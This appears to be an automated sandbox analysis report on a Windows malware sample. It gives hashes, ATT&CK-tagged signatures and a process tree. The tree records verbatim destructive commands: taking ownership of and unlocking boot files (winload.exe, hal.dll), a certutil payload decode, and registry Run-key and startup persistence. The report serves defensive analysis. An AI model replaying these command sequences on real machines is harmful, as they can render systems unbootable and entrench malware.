9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb

Resubmissions

08/09/2026, 15:25

260908-stwazadq3x8

08/09/2026, 15:21

260908-srh8matapf8

08/09/2026, 15:13

260908-slsvwaswh18

29/07/2024, 01:22

240729-bq9krazeqe8

Analysis

max time kernel
1s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
08/09/2026, 15:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
Size 112KB
Sample260908-slsvwaswh1
SHA256 9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb
MD5 f7319798850cc35b840799eedb2eca0b
SHA1 447fe1137f62ea4511d4fc6768802fb885b82b8d
SHA512 6819e7eeefce4765a37af4f665ee073f09e359df19dc1224ecce9e5866a22adcf7f032f3a3a4cf6c0016522f110ad68025364226c4a7d66c58471c8fed486c45
SSDEEP 3072:C7DhdC6kzWypvaQ0FxyNTBf5M/rtX79awF:CBlkZvaF4NTBBM/xJawF
TLSH
T112B39F41F3E242F7EAF1053100A6622F9736A2349764A8EBC74C3D529903AD4A77D3F9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution exploit persistence privilege_escalation upx

Malware Config

Signatures

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
11248	netsh.exe
1628	netsh.exe

Possible privilege escalation attempt 64 IoCs

exploit

pid	Process
4952	takeown.exe
2380	icacls.exe
3540	takeown.exe
9700	takeown.exe
10804	takeown.exe
7788	takeown.exe
608	icacls.exe
5144	icacls.exe
212	takeown.exe
4872	icacls.exe
7160	takeown.exe
6372	takeown.exe
3508	takeown.exe
3476	takeown.exe
4344	takeown.exe
5788	takeown.exe
10856	takeown.exe
8140	takeown.exe
4212	takeown.exe
2092	takeown.exe
5940	takeown.exe
5836	icacls.exe
864	icacls.exe
4872	icacls.exe
2440	takeown.exe
1676	icacls.exe
9396	icacls.exe
6616	icacls.exe
9452	takeown.exe
1184	icacls.exe
3580	takeown.exe
4836	takeown.exe
1252	icacls.exe
9876	takeown.exe
4944	takeown.exe
4212	takeown.exe
3476	takeown.exe
4368	icacls.exe
8888	takeown.exe
8856	icacls.exe
2488	icacls.exe
3308	takeown.exe
10784	takeown.exe
4944	takeown.exe
2580	icacls.exe
2704	takeown.exe
4944	takeown.exe
5572	icacls.exe
9500	takeown.exe
3348	icacls.exe
2188	icacls.exe
2300	takeown.exe
2092	icacls.exe
5296	takeown.exe
8288	takeown.exe
9280	icacls.exe
7768	takeown.exe
2120	icacls.exe
7944	icacls.exe
4556	icacls.exe
4628	icacls.exe
6244	takeown.exe
1040	takeown.exe
2500	takeown.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe	cmd.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
6616	icacls.exe
5836	icacls.exe
608	icacls.exe
2092	icacls.exe
8888	takeown.exe
3580	takeown.exe
2488	icacls.exe
2704	takeown.exe
2092	takeown.exe
5572	icacls.exe
9876	takeown.exe
6976	icacls.exe
3308	takeown.exe
3540	takeown.exe
3476	takeown.exe
2512	icacls.exe
10856	takeown.exe
4952	takeown.exe
2380	icacls.exe
3348	icacls.exe
2120	icacls.exe
5296	takeown.exe
8288	takeown.exe
4872	icacls.exe
4344	takeown.exe
9700	takeown.exe
9500	takeown.exe
7944	icacls.exe
4944	takeown.exe
9396	icacls.exe
3508	takeown.exe
1040	takeown.exe
2580	icacls.exe
10804	takeown.exe
3272	icacls.exe
4212	takeown.exe
2440	takeown.exe
1184	takeown.exe
10952	icacls.exe
4212	takeown.exe
864	icacls.exe
1676	icacls.exe
2500	takeown.exe
4628	icacls.exe
10784	takeown.exe
1184	icacls.exe
4944	takeown.exe
9452	takeown.exe
5144	icacls.exe
7160	takeown.exe
8856	icacls.exe
7768	takeown.exe
4836	takeown.exe
1252	icacls.exe
1252	takeown.exe
5788	takeown.exe
8140	takeown.exe
4368	icacls.exe
4944	takeown.exe
2188	icacls.exe
2468	takeown.exe
9280	icacls.exe
6372	takeown.exe
7788	takeown.exe

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
4500	certutil.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Modifies boot configuration data using bcdedit 1 IoCs

pid	Process
608	bcdedit.exe

Drops autorun.inf file 1 TTPs 1 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\Autorun.inf	cmd.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\winresume.exe	attrib.exe
File opened for modification	C:\Windows\System32\winload.exe	attrib.exe
File opened for modification	C:\Windows\System32\hal.dll	attrib.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 64 IoCs

execution

Visual Basic

T1059.005

pid	Process
1824	wscript.exe
5896	wscript.exe
5588	wscript.exe
6480	wscript.exe
6956	wscript.exe
6408	wscript.exe
3960	wscript.exe
5460	wscript.exe
5848	wscript.exe
8	wscript.exe
5332	wscript.exe
5868	wscript.exe
5908	wscript.exe
6232	wscript.exe
6448	wscript.exe
4480	wscript.exe
3464	wscript.exe
4004	wscript.exe
5412	wscript.exe
3828	wscript.exe
5692	wscript.exe
6308	wscript.exe
6556	wscript.exe
6604	wscript.exe
3972	wscript.exe
5032	wscript.exe
5480	wscript.exe
5200	wscript.exe
6848	wscript.exe
5188	wscript.exe
5312	wscript.exe
5756	wscript.exe
5952	wscript.exe
6900	wscript.exe
2952	wscript.exe
1768	wscript.exe
6528	wscript.exe
6964	wscript.exe
5448	wscript.exe
5628	wscript.exe
6932	wscript.exe
5552	wscript.exe
5728	wscript.exe
6364	wscript.exe
6944	wscript.exe
6772	wscript.exe
6816	wscript.exe
3688	wscript.exe
6044	wscript.exe
5528	wscript.exe
5996	wscript.exe
6208	wscript.exe
5228	wscript.exe
5372	wscript.exe
5656	wscript.exe
6220	wscript.exe
3132	wscript.exe
5800	wscript.exe
1252	wscript.exe
5576	wscript.exe
6036	wscript.exe
6728	wscript.exe
3636	wscript.exe
5764	wscript.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000700000002459c-268.dat	upx
behavioral1/memory/1980-269-0x0000000000400000-0x000000000040E000-memory.dmp	upx
behavioral1/memory/1980-330-0x0000000000400000-0x000000000040E000-memory.dmp	upx

Executes a command shell one-liner 1 TTPs 43 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1752	cmd.exe
9628	cmd.exe
4988	cmd.exe
1292	cmd.exe
7268	cmd.exe
8072	cmd.exe
5020	cmd.exe
3920	cmd.exe
11012	cmd.exe
5400	cmd.exe
736	cmd.exe
5364	cmd.exe
9908	cmd.exe
9412	cmd.exe
3608	cmd.exe
1072	cmd.exe
4884	cmd.exe
4752	cmd.exe
9836	cmd.exe
2636	cmd.exe
11148	cmd.exe
11208	cmd.exe
7828	cmd.exe
8556	cmd.exe
8524	cmd.exe
7252	cmd.exe
9896	cmd.exe
8184	cmd.exe
3696	cmd.exe
6576	cmd.exe
6884	cmd.exe
1660	cmd.exe
5252	cmd.exe
5088	cmd.exe
2152	cmd.exe
4948	cmd.exe
6512	cmd.exe
8148	cmd.exe
5308	cmd.exe
10408	cmd.exe
6616	cmd.exe
4888	cmd.exe
8536	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe

Gathers network information 2 TTPs 7 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
6872	ipconfig.exe
7060	ipconfig.exe
4056	ipconfig.exe
4276	ipconfig.exe
620	ipconfig.exe
6300	ipconfig.exe
6332	ipconfig.exe

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

pid	Process
10472	reg.exe
10712	reg.exe
11060	reg.exe
11160	reg.exe
4168	reg.exe
6324	reg.exe
836	reg.exe
9984	reg.exe
8724	reg.exe
6952	reg.exe
5048	reg.exe
7784	reg.exe
2876	reg.exe
2440	reg.exe
6696	reg.exe
11244	reg.exe
8064	reg.exe
5048	reg.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	3508	takeown.exe
Token: SeTakeOwnershipPrivilege	3580	takeown.exe
Token: SeTakeOwnershipPrivilege	4952	takeown.exe
Token: SeTakeOwnershipPrivilege	4836	takeown.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 1956 wrote to memory of 736	1956	9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe	84
PID 736 wrote to memory of 3608	736	cmd.exe	85
PID 736 wrote to memory of 3508	736	cmd.exe	87
PID 736 wrote to memory of 1184	736	cmd.exe	88
PID 736 wrote to memory of 4996	736	cmd.exe	89
PID 736 wrote to memory of 3580	736	cmd.exe	90
PID 3608 wrote to memory of 4952	3608	cmd.exe	91
PID 736 wrote to memory of 2380	736	cmd.exe	92
PID 736 wrote to memory of 3792	736	cmd.exe	93
PID 736 wrote to memory of 4836	736	cmd.exe	94
PID 736 wrote to memory of 2488	736	cmd.exe	95
PID 736 wrote to memory of 3084	736	cmd.exe	96
PID 736 wrote to memory of 3132	736	cmd.exe	97
PID 736 wrote to memory of 4688	736	cmd.exe	98
PID 736 wrote to memory of 3964	736	cmd.exe	99
PID 736 wrote to memory of 1824	736	cmd.exe	100
PID 736 wrote to memory of 3960	736	cmd.exe	101
PID 736 wrote to memory of 4480	736	cmd.exe	102
PID 736 wrote to memory of 3972	736	cmd.exe	103
PID 736 wrote to memory of 3688	736	cmd.exe	104
PID 736 wrote to memory of 4004	736	cmd.exe	105
PID 736 wrote to memory of 3464	736	cmd.exe	106
PID 736 wrote to memory of 3828	736	cmd.exe	107
PID 736 wrote to memory of 5032	736	cmd.exe	108
PID 736 wrote to memory of 2952	736	cmd.exe	109

Views/modifies file attributes 1 TTPs 31 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4996	attrib.exe
2524	attrib.exe
1040	attrib.exe
5928	attrib.exe
1812	attrib.exe
10116	attrib.exe
4560	attrib.exe
2632	attrib.exe
4408	attrib.exe
3536	attrib.exe
1676	attrib.exe
10352	attrib.exe
3084	attrib.exe
908	attrib.exe
3792	attrib.exe
3352	attrib.exe
4044	attrib.exe
10404	attrib.exe
7388	attrib.exe
7304	attrib.exe
8644	attrib.exe
3476	attrib.exe
5304	attrib.exe
6804	attrib.exe
7120	attrib.exe
7128	attrib.exe
9716	attrib.exe
836	attrib.exe
2632	attrib.exe
3900	attrib.exe
10328	attrib.exe

C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
"C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1956
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\538A.tmp\538B.tmp\538C.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
  2⤵
  - Creates a file in the Startup directory
  - Drops autorun.inf file
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K Taskdl.bat
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3608
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32" /r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:4952
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\winresume.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3508
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\winresume.exe" /reset /c /q
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1184
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
    3⤵
    - Drops file in System32 directory
    - Views/modifies file attributes
    PID:4996
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\winload.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3580
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\winload.exe" /reset /c /q
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2380
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\winload.exe"
    3⤵
    - Drops file in System32 directory
    - Views/modifies file attributes
    PID:3792
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:4836
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /reset /c /q
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2488
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\hal.dll"
    3⤵
    - Drops file in System32 directory
    - Views/modifies file attributes
    PID:3084
- - C:\Windows\system32\wscript.exe
    WScript Informacion.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:3132
- - C:\Windows\system32\rundll32.exe
    rundll32 user32.dll, SetCursorPos
    3⤵
    PID:4688
- - C:\Windows\system32\rundll32.exe
    rundll32 user32.dll, SwapMouseButton
    3⤵
    PID:3964
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:1824
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:3960
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:4480
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:3972
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:3688
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:4004
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:3464
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:3828
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:5032
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:2952
- - C:\Windows\system32\certutil.exe
    certutil -decode "C:\Users\Admin\AppData\Local\Temp\Bytebeat.Shingapi.tmp" "Tasksvc.exe"
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:4500
- - C:\Users\Admin\AppData\Local\Temp\Tasksvc.exe
    Tasksvc.exe
    3⤵
    PID:1980
- - C:\Windows\system32\ipconfig.exe
    ipconfig /release
    3⤵
    - Gathers network information
    PID:4056
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
    3⤵
    PID:1568
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h *.*
    3⤵
    - Views/modifies file attributes
    PID:2524
- - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    3⤵
    PID:1416
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\6193.tmp\61A4.tmp\61A5.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
      4⤵
      Executes a command shell one-liner
      PID:3696
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        5⤵
        Executes a command shell one-liner
        
        PID:1292
      - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        6⤵
        Modifies file permissions
        
        PID:2468
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3308
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3348
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        5⤵
        Views/modifies file attributes
        
        PID:3536
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1040
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4872
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        5⤵
        Views/modifies file attributes
        
        PID:3476
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4344
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        5⤵
        Modifies file permissions
        
        PID:2512
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        5⤵
        Views/modifies file attributes
        
        PID:3900
    - - C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:3636
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        5⤵
        
        PID:3352
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        5⤵
        
        PID:5196
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5312
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5372
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5412
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5448
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5460
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5480
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5552
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5656
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5728
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5800
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        5⤵
        Gathers network information
        
        PID:620
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        5⤵
        
        PID:7080
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        5⤵
        Views/modifies file attributes
        
        PID:7128
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:4416
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\2958.tmp\2959.tmp\295A.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:7268
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:5364
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Possible privilege escalation attempt
        
        PID:6244
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:9700
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2580
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        Views/modifies file attributes
        
        PID:8644
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:7768
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5836
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        Views/modifies file attributes
        
        PID:10352
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:7212
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:7344
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:7436
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:7540
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:7728
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\4BB5.tmp\4BB6.tmp\4BB7.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:8072
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:5020
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5788
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:7160
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:9280
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        Views/modifies file attributes
        
        PID:9716
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        Possible privilege escalation attempt
        
        PID:5940
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4628
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        Views/modifies file attributes
        
        PID:7304
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:10856
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        7⤵
        Modifies file permissions
        
        PID:3272
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:7944
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:7412
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:3920
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:4280
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:7972
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\812D.tmp\812D.tmp\812E.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:8536
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:6616
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:8284
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:8632
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:8772
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:8964
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:6680
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\B329.tmp\B32A.tmp\B32B.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:3920
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:7724
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:8684
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:3900
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:9332
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
